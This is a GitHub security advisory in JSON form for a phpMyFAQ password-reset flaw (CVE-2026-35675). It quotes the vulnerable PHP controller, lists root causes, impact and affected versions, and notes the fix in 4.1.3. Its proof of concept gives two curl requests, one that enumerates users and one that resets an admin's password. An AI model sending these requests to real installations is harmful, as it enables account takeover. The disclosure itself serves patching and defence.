{"id":"GHSA-w9xh-5f39-vq89","summary":"phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration","details":"### Summary\nAn authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.\n\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php\nLines: 56-130\nThe updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:\n#[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]\n```php\npublic function updatePassword(Request $request): JsonResponse\n{\n    $data = json_decode($request-\u003egetContent());\n    $username = trim((string) Filter::filterVar($data-\u003eusername, FILTER_SANITIZE_SPECIAL_CHARS));\n    $email = trim((string) Filter::filterEmail($data-\u003eemail));\n    if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {\n        $user = ($this-\u003ecurrentUserFactory ?? CurrentUser::getCurrentUser(...))($this-\u003econfiguration);\n        $loginExist = $user-\u003egetUserByLogin($username);\n        if ($loginExist && $email === $user-\u003egetUserData('email')) {\n            // NO TOKEN CHECK\n            // NO RATE LIMITING\n            // NO EMAIL VERIFICATION\n            $newPassword = $user-\u003ecreatePassword();\n            $user-\u003echangePassword($newPassword);\n            $mail-\u003esend(); // New password sent in plaintext\n        }\n    }\n}\n\n\n```\n\n### Root Causes:\n1. No time-limited cryptographic token required for password reset\n2. No rate limiting on the endpoint (allows unlimited username/email enumeration)\n3. No verification email sent to original address before reset\n4. New password sent in plaintext email without any confirmation step\n\n\n### PoC\nPrerequisites: None (unauthenticated attack)\nStep 1 - Username/Email Enumeration (no rate limiting):\nTest with wrong email - reveals if user exists\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin\",\"email\":\"wrong@test.com\"}' \\\n  http://target/phpmyfaq/api/user/password/update\n```\nResponse: {\"error\":\"The email doesn't exist...\"}  \u003c- user exists but wrong email\n\nOR\n\nResponse: {\"error\":\"The user doesn't exist\"}     \u003c- user doesn't exist\n\nStep 2 - Password Reset (no token required):\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin\",\"email\":\"admin@target.com\"}' \\\n  http://target/phpmyfaq/api/user/password/update\n```\n\nResponse: {\"success\":\"Email has been sent.\"}\nThe new plaintext password is sent to admin@target.com\n\nStep 3 - Account Takeover:\nAttacker now has valid credentials and can log in as SuperAdmin.\n\n\n\n### Impact\nAspect\tDetails\nVulnerability Type\tAuthentication Bypass / Weak Password Recovery Mechanism (CWE-640)\nAttack Vector\tNetwork (unauthenticated HTTP request)\nPrivileges Required\tNone\nUser Interaction\tNone\nScope\tFull administrative access to phpMyFAQ\nConfidentiality\tHigh - attacker gains full access to all user data and FAQ content\nIntegrity\tHigh - attacker can modify all content and settings\nAvailability\tHigh - attacker can lock out legitimate users\nWho is Impacted:\n- All phpMyFAQ administrators using default installations\n- Any organization using phpMyFAQ for internal knowledge bases\n- End users whose accounts could be compromised\n- Organizations relying on phpMyFAQ for customer support FAQs\nAttack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address","aliases":["CVE-2026-35675"],"modified":"2026-09-10T03:50:47.931367006Z","published":"2026-05-20T15:46:55Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-05-20T15:46:55Z","nvd_published_at":null,"cwe_ids":["CWE-307","CWE-359","CWE-640"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w9xh-5f39-vq89"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"}],"affected":[{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.3"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1","4.1.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-w9xh-5f39-vq89/GHSA-w9xh-5f39-vq89.json"}},{"package":{"name":"phpmyfaq/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/phpmyfaq/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.3"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1","4.1.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-w9xh-5f39-vq89/GHSA-w9xh-5f39-vq89.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}